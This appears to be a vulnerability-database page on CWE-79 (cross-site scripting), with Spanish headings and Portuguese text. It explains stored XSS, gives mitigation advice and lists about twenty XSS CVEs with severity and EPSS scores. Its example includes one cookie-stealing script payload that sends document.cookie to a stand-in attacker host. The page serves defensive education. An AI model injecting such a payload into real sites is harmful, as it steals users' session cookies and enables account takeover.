Fallos del tipo CWE-79

29.486 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-9158MEDIUMStored XSS in Request TrackerEPSS 0.4%CVE-2024-29191MEDIUMGHSL-2023-205 gotortc DOM-based Cross-site Scripting vulnerabilityEPSS 0.4%CVE-2022-48091MEDIUMTramyardg hotel-mgmt-system version 2022.4 is vulnerable to Cross Site Scripting (XSS) via process_update_profile.php.EPSS 0.4%CVE-2022-0475LOWPossible XSS attack via translationEPSS 0.4%CVE-2024-30890MEDIUMCross Site Scripting vulnerability in ED01-CMS v.1.0 allows an attacker to obtain sensitive information via the categories.php component.EPSS 0.4%CVE-2024-4648LOWCampcodes Complete Web-Based School Management System student_exam_mark_update_form.php cross site scriptingEPSS 0.4%CVE-2025-24854MEDIUMApache JSPWiki: Cross-Site Scripting (XSS) in JSPWiki Image pluginEPSS 0.4%CVE-2023-1884MEDIUMCross-site Scripting (XSS) - Generic in thorsten/phpmyfaqEPSS 0.4%CVE-2023-24721MEDIUMA cross-site scripting (XSS) vulnerability in LiveAction LiveSP v21.1.2 allows attackers to execute arbitrary web scripts or HTML.EPSS 0.4%CVE-2023-1776HIGHStored XSS via SVG attachment on BoardsEPSS 0.4%CVE-2022-28980MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in Liferay Portal v7.4.3.4 and Liferay DXP v7.4 GA allows attackers to execute arbitraryEPSS 0.4%CVE-2025-2205MEDIUMGDPR Cookie Compliance <= 4.15.6 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-26140MEDIUMcom.yetanalytics/lrs has Cross-site Scripting Vulnerability in Statement BrowserEPSS 0.4%CVE-2024-6907MEDIUMSourceCodester Record Management System sort.php cross site scriptingEPSS 0.4%CVE-2024-5437MEDIUMSourceCodester Simple Online Bidding System save_category cross site scriptingEPSS 0.4%CVE-2024-29832MEDIUMWordPress Photo Gallery Plugin <= 1.8.21 Unauthenticated Reflected Cross Site Scripting in GalleryBox current_urlEPSS 0.4%CVE-2023-5639MEDIUMTeam Showcase <= 2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-1051MEDIUMList category posts <= 0.89.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-4630MEDIUMStarter Templates — Elementor, WordPress & Beaver Builder Templates <= 4.2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-6561MEDIUMFeatured Image from URL (FIFU) <= 4.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via featured image alt textEPSS 0.4%